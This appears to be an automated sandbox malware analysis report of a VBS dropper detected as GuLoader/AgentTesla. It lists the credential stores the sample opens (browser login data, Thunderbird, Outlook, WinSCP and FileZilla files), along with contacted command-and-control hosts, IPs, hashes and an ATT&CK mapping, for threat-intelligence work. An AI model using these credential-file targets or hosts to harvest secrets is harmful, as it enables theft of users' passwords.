Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Queries volume information: C:\Windows\assembly\GAC_32\CustomMarshalers\2.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Queries volume information: C:\Windows\assembly\GAC_32\CustomMarshalers\2.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Security\2.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\System.Security\2.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 6_2_079DD7E4 CreateNamedPipeW,

6_2_079DD7E4

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 0000000C.00000002.91118394619.000000001D920000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 5484, type: MEMORYSTR

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\			Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior

Source: Yara match	File source: 0000000C.00000002.91118394619.000000001D920000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.91117300370.000000001D8D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 5484, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 0000000C.00000002.91118394619.000000001D920000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CasPol.exe PID: 5484, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_010E4A7A bind,		12_2_010E4A7A
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Code function: 12_2_010E4A55 bind,		12_2_010E4A55

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	211 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Exfiltration Over Alternative Protocol	2 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	321 Scripting	Boot or Logon Initialization Scripts	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	1 Credentials in Registry	115 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	21 Command and Scripting Interpreter	Logon Script (Windows)	12 Process Injection	321 Scripting	Security Account Manager	321 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	Automated Exfiltration	1 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	1 PowerShell	Logon Script (Mac)	Logon Script (Mac)	2 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	241 Virtualization/Sandbox Evasion	SSH	Keylogging	Data Transfer Size Limits	23 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	241 Virtualization/Sandbox Evasion	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	12 Process Injection	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SIEM_PO00938467648.vbs	35%	ReversingLabs	Script-WScript.Trojan.GuLoader

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.dll	100%	Joe Sandbox ML

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
api.ipify.org.herokudns.com	0%	Virustotal		Browse
ftp.mcmprint.net	10%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://pesterbdd.com/images/Pester.png	100%	Avira URL Cloud	malware
https://api.ipify.orgftp://ftp.mcmprint.netklogz	0%	Avira URL Cloud	safe
http://127.0.0.1:HTTP/1.1	0%	Avira URL Cloud	safe
http://qwedft.gq/Akkant/VUUby127.xsn	0%	Avira URL Cloud	safe
http://kmbImL.com	0%	Avira URL Cloud	safe
https://contoso.com/License	0%	Avira URL Cloud	safe
https://contoso.com/	0%	Avira URL Cloud	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www	0%	Avira URL Cloud	safe
http://DynDns.comDynDNSnamejidpasswordPsi/Psi	0%	Avira URL Cloud	safe
https://contoso.com/Icon	0%	Avira URL Cloud	safe
https://ZK1g7ahAv5q7aIVR.comXy	0%	Avira URL Cloud	safe
https://ZK1g7ahAv5q7aIVR.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ipify.org.herokudns.com	52.20.78.240	true	false	0%, Virustotal, Browse	unknown
qwedft.gq	162.240.62.179	true	false		unknown
ftp.mcmprint.net	185.31.121.136	true	true	10%, Virustotal, Browse	unknown
api.ipify.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.ipify.org/	false		high
http://qwedft.gq/Akkant/VUUby127.xsn	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://kmbImL.com	CasPol.exe, 0000000C.00000002.91117300370.000000001D8D1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://127.0.0.1:HTTP/1.1	CasPol.exe, 0000000C.00000002.91117300370.000000001D8D1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://nuget.org/NuGet.exe	powershell.exe, 00000006.00000002.86766294466.000000000534C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ipify.org	CasPol.exe, 0000000C.00000002.91117300370.000000001D8D1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000006.00000002.86731242740.000000000443C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://aka.ms/pscore6lB	powershell.exe, 00000006.00000002.86726548109.00000000042E1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000006.00000002.86731242740.000000000443C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ipify.orgftp://ftp.mcmprint.netklogz	CasPol.exe, 0000000C.00000002.91117300370.000000001D8D1000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000006.00000002.86766294466.000000000534C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000006.00000002.86766294466.000000000534C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000006.00000002.86766294466.000000000534C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www	CasPol.exe, 0000000C.00000002.91117300370.000000001D8D1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://DynDns.comDynDNSnamejidpasswordPsi/Psi	CasPol.exe, 0000000C.00000002.91117300370.000000001D8D1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000006.00000002.86766294466.000000000534C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000006.00000002.86726548109.00000000042E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ZK1g7ahAv5q7aIVR.comXy	CasPol.exe, 0000000C.00000002.91118394619.000000001D920000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ZK1g7ahAv5q7aIVR.com	CasPol.exe, 0000000C.00000002.91118394619.000000001D920000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 0000000C.00000003.86807185996.000000001C701000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000C.00000002.91121875644.000000001D9FD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000006.00000002.86731242740.000000000443C000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
162.240.62.179	qwedft.gq	United States	46606	UNIFIEDLAYER-AS-1US	false
52.20.78.240	api.ipify.org.herokudns.com	United States	14618	AMAZON-AESUS	false
185.31.121.136	ftp.mcmprint.net	Bulgaria	199364	RAX-ASBG	true

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	756154
Start date and time:	2022-11-29 18:31:34 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 15m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	SIEM_PO00938467648.vbs
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winVBS@13/10@3/3
EGA Information:	Successful, ratio: 100%
HDC Information:	Failed
HCA Information:	Successful, ratio: 99% Number of executed functions: 221 Number of non-executed functions: 3
Cookbook Comments:	Found application associated with file extension: .vbs Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, backgroundTaskHost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.190.159.0, 20.190.159.73, 40.126.31.71, 20.190.159.71, 20.190.159.68, 20.190.159.75, 20.190.159.2, 40.126.31.73
Excluded domains from analysis (whitelisted): spclient.wg.spotify.com, wdcpalt.microsoft.com, client.wns.windows.com, prda.aadg.msidentity.com, login.live.com, ctldl.windowsupdate.com, wdcp.microsoft.com, login.msa.msidentity.com, www.tm.a.prd.aadg.trafficmanager.net, www.tm.lg.prod.aadmsa.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
162.240.62.179	Ordine n.47201 pdf.vbs	Get hash	malicious	Browse	qwedft.gq/Akkant/bwqPIdZhEA125.psm
162.240.62.179	Richiesta urgente.vbs	Get hash	malicious	Browse	qwedft.gq/nnslx/arPdDEHecKTUsOQSyN133.asi
52.20.78.240	SecuriteInfo.com.Win32.CrypterX-gen.10947.8437.exe	Get hash	malicious	Browse	api.ipify.org/
	hJ7aWr8Et2.exe	Get hash	malicious	Browse	api.ipify.org/?format=exe
	SecuriteInfo.com.Malicious_Behavior.SB.29614.19372.exe	Get hash	malicious	Browse	api.ipify.org/
	swift copy 016011 022.exe	Get hash	malicious	Browse	api.ipify.org/
	7wAieAv6gR.exe	Get hash	malicious	Browse	api.ipify.org/
	9zOTVIFu5T.exe	Get hash	malicious	Browse	api.ipify.org/?format=txt
	DtDo5rjAsP.exe	Get hash	malicious	Browse	api.ipify.org/?format=xml
	K24WHaP1Ki.exe	Get hash	malicious	Browse	api.ipify.org/?format=xml
	SecuriteInfo.com.HEUR.Trojan.Win32.Guloader.gen.29987.exe	Get hash	malicious	Browse	api.ipify.org/
	RIP_YOUR_PC_LOL.exe	Get hash	malicious	Browse	api.ipify.org/?format=xml
	DuThJ88QX1.exe	Get hash	malicious	Browse	api.ipify.org/
	47ee7c873ff6ad620d68f6bd92cbd41ae0194c446720228f805f3487192dd909.exe	Get hash	malicious	Browse	api.ipify.org/
	075BF8BFF27D626CA111B3CA9603F6C0D1E3C1D2F3ECD.exe	Get hash	malicious	Browse	api.ipify.org/
	yDqEvzDn2m.exe	Get hash	malicious	Browse	api.ipify.org/?format=xml
	iff.bin.dll	Get hash	malicious	Browse	api.ipify.org/
	0318_45657944978421.doc	Get hash	malicious	Browse	api.ipify.org/
	SecuriteInfo.com.Heur.28256.doc	Get hash	malicious	Browse	api.ipify.org/
	2HFJezUWHA.exe	Get hash	malicious	Browse	api.ipify.org/?format=xml
	QZLQkiS4nj.exe	Get hash	malicious	Browse	api.ipify.org/?format=xml
	SQCchgRsrh.doc	Get hash	malicious	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
qwedft.gq	Ordine n.47201 pdf.vbs	Get hash	malicious	Browse	162.240.62.179
qwedft.gq	Richiesta urgente.vbs	Get hash	malicious	Browse	162.240.62.179
api.ipify.org.herokudns.com	SecuriteInfo.com.Win32.CrypterX-gen.16043.3621.exe	Get hash	malicious	Browse	52.20.78.240
	SHIPMENT DOCUMENTS.exe	Get hash	malicious	Browse	52.20.78.240
	SecuriteInfo.com.Win32.CrypterX-gen.10947.8437.exe	Get hash	malicious	Browse	52.20.78.240
	MACHINE SPECIFICATIONS.exe	Get hash	malicious	Browse	3.220.57.224
	SecuriteInfo.com.Win32.CrypterX-gen.24912.15475.exe	Get hash	malicious	Browse	54.91.59.199
	MEPS-42.exe	Get hash	malicious	Browse	3.232.242.170
	ORDER.exe	Get hash	malicious	Browse	52.20.78.240
	SecuriteInfo.com.Win32.CrypterX-gen.414.24926.exe	Get hash	malicious	Browse	52.20.78.240
	DHJ59300948.xls	Get hash	malicious	Browse	3.232.242.170
	Quotation.exe	Get hash	malicious	Browse	54.91.59.199
	Cg7vRuVKhI.exe	Get hash	malicious	Browse	3.232.242.170
	SecuriteInfo.com.Win32.CrypterX-gen.12789.377.exe	Get hash	malicious	Browse	3.232.242.170
	Wzf4gWTOC2.exe	Get hash	malicious	Browse	3.220.57.224
	SecuriteInfo.com.W32.MSIL_Kryptik.ILD.gen.Eldorado.12870.1146.exe	Get hash	malicious	Browse	54.91.59.199
	SecuriteInfo.com.Win32.PWSX-gen.7585.24753.exe	Get hash	malicious	Browse	3.232.242.170
	SecuriteInfo.com.Win32.PWSX-gen.25304.17510.exe	Get hash	malicious	Browse	52.20.78.240
	SecuriteInfo.com.BackDoor.SpyBotNET.25.24486.13932.exe	Get hash	malicious	Browse	54.91.59.199
	buH9VrC1dQ.exe	Get hash	malicious	Browse	54.91.59.199
	PO-08784 xlsx.vbe	Get hash	malicious	Browse	54.91.59.199
	KWIR000714988.exe	Get hash	malicious	Browse	54.91.59.199
ftp.mcmprint.net	PO-09784893 xlsx.vbs	Get hash	malicious	Browse	185.31.121.136
	PO-08784 xlsx.vbe	Get hash	malicious	Browse	185.31.121.136
	Ordine n.47201 pdf.vbs	Get hash	malicious	Browse	185.31.121.136
	Richiesta urgente.vbs	Get hash	malicious	Browse	185.31.121.136
	Payment advis pdf.scr.exe	Get hash	malicious	Browse	185.31.121.136
	ordine C220205 pdf.exe	Get hash	malicious	Browse	185.31.121.136
	PO#0192 xls.vbs	Get hash	malicious	Browse	185.31.121.136
	ANGEBOTSANFRAGEN.exe	Get hash	malicious	Browse	185.31.121.136
	SecuriteInfo.com.Trojan.NSIS.Agent.21226.9113.exe	Get hash	malicious	Browse	185.31.121.136
	Jtkmmbl.exe	Get hash	malicious	Browse	185.31.121.80
	DOC85945003805010 PDF.exe	Get hash	malicious	Browse	185.31.121.80
	RFQ NO # 577131022.pif.exe	Get hash	malicious	Browse	185.31.121.80
	PO-57064.scr.exe	Get hash	malicious	Browse	185.31.121.80
	INQUIRY- EUSQ131302.scr.exe	Get hash	malicious	Browse	185.31.121.80

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
UNIFIEDLAYER-AS-1US	Revised Policy Benefits.html	Get hash	malicious	Browse	192.185.196.49
	Revised Policy Benefits.html	Get hash	malicious	Browse	192.185.196.49
	New_Financia1_Report.htm	Get hash	malicious	Browse	69.49.234.179
	New_Financia1_Report.htm	Get hash	malicious	Browse	69.49.234.179
	Policy handbook.html	Get hash	malicious	Browse	50.87.153.144
	New PO-RJ-IN-003 - Knauf Queimados.exe	Get hash	malicious	Browse	192.185.90.105
	SHIPPING DOC.exe	Get hash	malicious	Browse	50.87.139.143
	Cg7vRuVKhI.exe	Get hash	malicious	Browse	108.167.141.123
	policy handbooks.html	Get hash	malicious	Browse	50.87.153.144
	https://u29751933.ct.sendgrid.net/ls/click?upn=CnGGOnFaxhvhWvH4Fu0DshuMMwznLhhSl0vF9VJfmXn4k3uWmXtWEXgU1gN1sOYDM-2FnTKBAYRDOo-2Fxp1e29eFw-3D-3D1SY9_-2FHydVa-2F6RgJ-2BO01uO1tSzf4k9wftL50WVzxI-2BDuM83WY91mlfH2j-2BdduOmIaC9RL57-2F4cZ8bwv5R6qDViDOPW8H7XI4v762lTVPjiQ2n2fiTT0EsPoTwZUC1VOPK6BOuruRTtU-2FIclxgJ3qp4zIBngkcg1uQEKF68oozcL-2BfK4GoB5e-2BnOh4XhI8nLZlju2lQTsa8dPRVDT7dRrjRlibaPNNXjuJ6PKaJjbMu-2Bzfm-2F8-3D	Get hash	malicious	Browse	50.87.144.212
	http://nbtp3.commentlikeordislike.com/aHR0cHM6Ly9mb3Vyc3RhcmFsYW4uY29tL3N1Y2Nlc3MvZ28vZ2FicmllbGEubWFydGluQHNreWFpcmxpbmUuY29t	Get hash	malicious	Browse	69.49.229.176
	SecuriteInfo.com.FileRepMalware.16929.9956.exe	Get hash	malicious	Browse	162.214.129.149
	Revised Policy Benefits.html	Get hash	malicious	Browse	192.185.196.49
	Confirmation transfer Copy AGS # 22-0035.xls	Get hash	malicious	Browse	69.49.245.57
	PO-09784893 xlsx.vbs	Get hash	malicious	Browse	192.185.145.188
	PO-08784 xlsx.vbe	Get hash	malicious	Browse	192.185.145.188
	Confirmation transfer Copy AGS 22-0035.xls	Get hash	malicious	Browse	69.49.245.57
	Pago.xls	Get hash	malicious	Browse	192.185.113.96
	Ordine n.47201 pdf.vbs	Get hash	malicious	Browse	162.240.62.179
	SHIPPING DOC.exe	Get hash	malicious	Browse	50.87.139.143
AMAZON-AESUS	SecuriteInfo.com.Win32.CrypterX-gen.16043.3621.exe	Get hash	malicious	Browse	52.20.78.240
	http://url4483.sosadiazeventos.com/ls/click?upn=mXPGTXlLlQcgRVh-2F4Dp38fDRGJMmpWDEH-2FE76VgzzHi8nDM-2FDFm088Y0fZh2YEo3qbCf_fJCV5gLuaP5-2B7UCkl8vmUj8dC4C9Y4dg1tvjDkrKvY5UHarI7EGwbOBMpE-2F-2BTDbMTeAQqiCIplw1OEed2ml5geiDyCAjnFVFwD7rEXflsrU-2FDtPiBmvBUcn9oohKUiNRFALv-2B8n9tEJ8XP-2Bi8ehDveJ4shY6zR5k78j6VeP8An8lQFfJ6kmEWKqICZhGlO0fhkepKLO1yzpGTF9YmHbAGNDbmtf6HwQ7g1ug0zWgxA8-3D	Get hash	malicious	Browse	34.226.96.6
	robinbot_sample2	Get hash	malicious	Browse	3.84.38.38
	SHIPMENT DOCUMENTS.exe	Get hash	malicious	Browse	52.20.78.240
	https://linkprotect.cudasvc.com/url?a=https%3a%2f%2fpostsign.web.app/r9s0h3lind07rhinda51arn0h3ldr9slarkd07r9s0h3nW1&c=92652	Get hash	malicious	Browse	54.204.125.248
	robinbot	Get hash	malicious	Browse	34.229.40.203
	robinbot	Get hash	malicious	Browse	34.229.40.203
	SecuriteInfo.com.Win32.CrypterX-gen.10947.8437.exe	Get hash	malicious	Browse	52.20.78.240
	http://xmas-art.ru/fo/ufmavtiwaehat-sejautfoja/haotwaep/376197/?T=44g47k0c-8q-1q1QZ44igflammatiojb&vfilclszdwwrqimq5-t-nsnba=contyasseursSZ6J2	Get hash	malicious	Browse	35.168.94.234
	MACHINE SPECIFICATIONS.exe	Get hash	malicious	Browse	3.220.57.224
	SecuriteInfo.com.Win32.CrypterX-gen.24912.15475.exe	Get hash	malicious	Browse	54.91.59.199
	MEPS-42.exe	Get hash	malicious	Browse	3.220.57.224
	ORDER.exe	Get hash	malicious	Browse	52.20.78.240
	SecuriteInfo.com.Win32.CrypterX-gen.414.24926.exe	Get hash	malicious	Browse	52.20.78.240
	DHJ59300948.xls	Get hash	malicious	Browse	3.232.242.170
	Quotation.exe	Get hash	malicious	Browse	3.220.57.224
	Cg7vRuVKhI.exe	Get hash	malicious	Browse	3.232.242.170
	SecuriteInfo.com.Win32.CrypterX-gen.12789.377.exe	Get hash	malicious	Browse	3.232.242.170
	Wzf4gWTOC2.exe	Get hash	malicious	Browse	3.220.57.224
	SecuriteInfo.com.W32.MSIL_Kryptik.ILD.gen.Eldorado.12870.1146.exe	Get hash	malicious	Browse	54.91.59.199

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	SecuriteInfo.com.Win32.DropperX-gen.9148.20800.exe	Get hash	malicious	Browse	52.20.78.240
	SecuriteInfo.com.Win32.CrypterX-gen.16043.3621.exe	Get hash	malicious	Browse	52.20.78.240
	SHIPMENT DOCUMENTS.exe	Get hash	malicious	Browse	52.20.78.240
	file.exe	Get hash	malicious	Browse	52.20.78.240
	SkyNet.1448.exe	Get hash	malicious	Browse	52.20.78.240
	SkyNet.1448.exe	Get hash	malicious	Browse	52.20.78.240
	solicitud de presupuesto 29-11-2022.exe	Get hash	malicious	Browse	52.20.78.240
	library.dll	Get hash	malicious	Browse	52.20.78.240
	MACHINE SPECIFICATIONS.exe	Get hash	malicious	Browse	52.20.78.240
	SecuriteInfo.com.Win32.CrypterX-gen.24912.15475.exe	Get hash	malicious	Browse	52.20.78.240
	MEPS-42.exe	Get hash	malicious	Browse	52.20.78.240
	11-29-22.exe	Get hash	malicious	Browse	52.20.78.240
	ORDER.exe	Get hash	malicious	Browse	52.20.78.240
	SecuriteInfo.com.Win32.CrypterX-gen.414.24926.exe	Get hash	malicious	Browse	52.20.78.240
	Quotation.exe	Get hash	malicious	Browse	52.20.78.240
	Ziraat-bankasiSwiftMessaji2911202245344.exe	Get hash	malicious	Browse	52.20.78.240
	Cg7vRuVKhI.exe	Get hash	malicious	Browse	52.20.78.240
	SecuriteInfo.com.Win32.PWSX-gen.7918.18477.exe	Get hash	malicious	Browse	52.20.78.240
	SecuriteInfo.com.Win32.CrypterX-gen.12789.377.exe	Get hash	malicious	Browse	52.20.78.240
	Wzf4gWTOC2.exe	Get hash	malicious	Browse	52.20.78.240

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	8003
Entropy (8bit):	4.841989710132343
Encrypted:	false
SSDEEP:	192:Qxoe5GVsm5emddVFn3eGOVpN6K3bkkjo5dgkjDt4iWN3yBGHD9smqdcU6C5pOWik:7hVoGIpN6KQkj22kjh4iUxgrib4J
MD5:	677C4E3A07935751EA3B092A5E23232F
SHA1:	0BB391E66C6AE586907E9A8F1EE6CA114ACE02CD
SHA-256:	D05D82E08469946C832D1493FA05D9E44926911DB96A89B76C2A32AC1CBC931F
SHA-512:	253BCC6033980157395016038E22D3A49B0FA40AEE18CC852065423BEF773BF000EAAEB0809D0B9C4E167883288B05BA168AF0A756D6B74852778EAAA30055C2
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.0.cs

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (1049), with no line terminators
Category:	dropped
Size (bytes):	1052
Entropy (8bit):	4.997907941877808
Encrypted:	false
SSDEEP:	24:JVSgTlR8ZhIZFbamwTJI1ro8kkcw+n1csrsIuY:JVlTlR8DIZFbLwTJI1rb/P+n1BrsIX
MD5:	5CB0DD0B77A3DA8C76FA25C6482E90D5
SHA1:	309AAF2851C84D34E8C8FC38B102721126D3E145
SHA-256:	4A5B247BE5F2AD1BF7CB3E184F7F687B5D59C7DE795FD1EAF69B7B0E2F4F716E
